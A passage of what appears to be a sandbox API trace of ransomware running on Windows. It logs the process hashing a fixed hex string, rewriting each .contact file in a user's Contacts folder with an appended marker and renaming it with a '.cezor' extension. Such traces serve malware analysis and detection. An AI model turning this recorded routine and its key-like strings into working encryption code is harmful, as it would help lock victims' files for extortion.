dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.739] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.740] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.740] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.740] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.740] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x493, lpOverlapped=0x0) returned 1 [0059.740] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.740] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.741] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.741] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.741] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ec50) returned 1 [0059.741] CryptCreateHash (in: hProv=0x74ec50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.741] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.741] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.741] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.741] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.741] GetLastError () returned 0x0 [0059.741] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.742] GetLastError () returned 0x0 [0059.742] SetLastError (dwErrCode=0x0) [0059.743] GetLastError () returned 0x0 [0059.743] SetLastError (dwErrCode=0x0) [0059.743] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0059.743] GetLastError () returned 0x0 [0059.743] SetLastError (dwErrCode=0x0) [0059.743] GetLastError () returned 0x0 [0059.743] SetLastError (dwErrCode=0x0) [0059.743] GetLastError () returned 0x0 [0059.743] SetLastError (dwErrCode=0x0) [0059.743] GetLastError () returned 0x0 [0059.743] SetLastError (dwErrCode=0x0) [0059.743] GetLastError () returned 0x0 [0059.743] SetLastError (dwErrCode=0x0) [0059.743] GetLastError () returned 0x0 [0059.743] SetLastError (dwErrCode=0x0) [0059.743] GetLastError () returned 0x0 [0059.743] SetLastError (dwErrCode=0x0) [0059.743] GetLastError () returned 0x0 [0059.743] SetLastError (dwErrCode=0x0) [0059.743] GetLastError () returned 0x0 [0059.743] SetLastError (dwErrCode=0x0) [0059.743] GetLastError () returned 0x0 [0059.743] SetLastError (dwErrCode=0x0) [0059.743] GetLastError () returned 0x0 [0059.743] SetLastError (dwErrCode=0x0) [0059.743] GetLastError () returned 0x0 [0059.743] SetLastError (dwErrCode=0x0) [0059.744] GetLastError () returned 0x0 [0059.744] SetLastError (dwErrCode=0x0) [0059.744] GetLastError () returned 0x0 [0059.744] SetLastError (dwErrCode=0x0) [0059.744] GetLastError () returned 0x0 [0059.744] SetLastError (dwErrCode=0x0) [0059.744] GetLastError () returned 0x0 [0059.744] SetLastError (dwErrCode=0x0) [0059.744] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0059.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3033b68 | out: hHeap=0x670000) returned 1 [0059.744] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.744] CryptReleaseContext (hProv=0x74ec50, dwFlags=0x0) returned 1 [0059.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.744] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x490) returned 0x3116f60 [0059.744] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.744] WriteFile (in: hFile=0x5c4, lpBuffer=0x3116f60*, nNumberOfBytesToWrite=0x48e, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3116f60*, lpNumberOfBytesWritten=0x9aafb24*=0x48e, lpOverlapped=0x0) returned 1 [0059.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3116f60 | out: hHeap=0x670000) returned 1 [0059.744] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.744] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f61b8 [0059.744] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x311d498 [0059.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x311d498, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.744] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x3116f60 [0059.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x311d498 | out: hHeap=0x670000) returned 1 [0059.745] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f61b8 | out: hHeap=0x670000) returned 1 [0059.745] WriteFile (in: hFile=0x5c4, lpBuffer=0x3116f60*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x3116f60*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.745] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3116f60 | out: hHeap=0x670000) returned 1 [0059.745] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.745] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.745] CloseHandle (hObject=0x5c4) returned 1 [0059.745] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0059.745] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0059.745] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0059.746] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.cezor")) returned 1 [0059.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.746] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.747] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0059.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0059.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.747] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned=".contact" [0059.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.748] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=1177) returned 1 [0059.748] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.750] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.750] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.752] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.752] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x499, lpOverlapped=0x0) returned 1 [0059.752] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.752] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.752] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.752] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ec50) returned 1 [0059.753] CryptCreateHash (in: hProv=0x74ec50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.753] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.753] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.753] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.753] GetLastError () returned 0x0 [0059.753] SetLastError (dwErrCode=0x0) [0059.753] GetLastError () returned 0x0 [0059.753] SetLastError (dwErrCode=0x0) [0059.753] GetLastError () returned 0x0 [0059.753] SetLastError (dwErrCode=0x0) [0059.753] GetLastError () returned 0x0 [0059.753] SetLastError (dwErrCode=0x0) [0059.753] GetLastError () returned 0x0 [0059.753] SetLastError (dwErrCode=0x0) [0059.753] GetLastError () returned 0x0 [0059.753] SetLastError (dwErrCode=0x0) [0059.753] GetLastError () returned 0x0 [0059.753] SetLastError (dwErrCode=0x0) [0059.753] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0059.754] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] GetLastError () returned 0x0 [0059.754] SetLastError (dwErrCode=0x0) [0059.754] GetLastError () returned 0x0 [0059.755] SetLastError (dwErrCode=0x0) [0059.755] GetLastError () returned 0x0 [0059.755] SetLastError (dwErrCode=0x0) [0059.755] GetLastError () returned 0x0 [0059.755] SetLastError (dwErrCode=0x0) [0059.755] GetLastError () returned 0x0 [0059.755] SetLastError (dwErrCode=0x0) [0059.755] GetLastError () returned 0x0 [0059.755] SetLastError (dwErrCode=0x0) [0059.755] GetLastError () returned 0x0 [0059.755] SetLastError (dwErrCode=0x0) [0059.755] GetLastError () returned 0x0 [0059.755] SetLastError (dwErrCode=0x0) [0059.755] GetLastError () returned 0x0 [0059.755] SetLastError (dwErrCode=0x0) [0059.755] GetLastError () returned 0x0 [0059.755] SetLastError (dwErrCode=0x0) [0059.755] GetLastError () returned 0x0 [0059.755] SetLastError (dwErrCode=0x0) [0059.755] GetLastError () returned 0x0 [0059.755] SetLastError (dwErrCode=0x0) [0059.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0059.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3033b68 | out: hHeap=0x670000) returned 1 [0059.755] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.755] CryptReleaseContext (hProv=0x74ec50, dwFlags=0x0) returned 1 [0059.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4a0) returned 0x3116f60 [0059.756] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.756] WriteFile (in: hFile=0x5c4, lpBuffer=0x3116f60*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3116f60*, lpNumberOfBytesWritten=0x9aafb24*=0x494, lpOverlapped=0x0) returned 1 [0059.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3116f60 | out: hHeap=0x670000) returned 1 [0059.756] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f61b8 [0059.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x311d498 [0059.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x311d498, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x3116f60 [0059.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x311d498 | out: hHeap=0x670000) returned 1 [0059.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f61b8 | out: hHeap=0x670000) returned 1 [0059.756] WriteFile (in: hFile=0x5c4, lpBuffer=0x3116f60*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x3116f60*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3116f60 | out: hHeap=0x670000) returned 1 [0059.756] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.756] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.756] CloseHandle (hObject=0x5c4) returned 1 [0059.757] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0059.757] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0059.757] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0059.757] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.cezor")) returned 1 [0059.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.758] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.758] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.759] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned=".ini" [0059.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.759] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0059.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0059.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.759] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned=".contact" [0059.759] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.760] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=1174) returned 1 [0059.760] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.762] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x470, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.762] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.763] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.763] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.763] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.763] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x496, lpOverlapped=0x0) returned 1 [0059.763] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.764] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.764] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.764] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.764] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ec50) returned 1 [0059.764] CryptCreateHash (in: hProv=0x74ec50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.764] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.764] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.764] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.764] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.765] SetLastError (dwErrCode=0x0) [0059.765] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0059.766] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetLastError () returned 0x0 